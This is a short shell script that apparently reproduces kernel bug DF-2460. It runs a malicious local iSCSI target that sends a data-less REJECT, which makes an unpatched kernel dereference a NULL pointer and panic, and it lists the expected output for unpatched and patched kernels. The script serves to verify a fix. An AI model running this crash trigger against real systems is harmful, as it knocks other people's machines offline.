#!/bin/sh
# run.sh - reproduce DF-2460: malicious iSCSI target sends a data-less REJECT,
# kernel _reject() dereferences pq->mp == NULL -> panic (page fault @0x10).
#
# Requires: iscsi_initiator.ko loaded (kldload iscsi_initiator) as root.
# Run as root on the guest.
./mtarget reject 3260 > mt.log 2>&1 &
sleep 1
./idrv 127.0.0.1 3260 > idrv.log 2>&1
sleep 2
echo "--- idrv.log ---"; cat idrv.log
echo "--- mt.log ---"; cat mt.log
echo "Expected on UNPATCHED kernel: guest panics (ssh dies); serial log shows"
echo "  'Fatal trap 12: page fault ... fault virtual address = 0x10 ... Stopped at ism_recv+0xee'"
echo "Expected on PATCHED kernel: idrv reports 'still alive after 6s', dmesg shows"
echo "  '>>> _reject: REJECT with NULL mbuf (no data segment) - dropping'"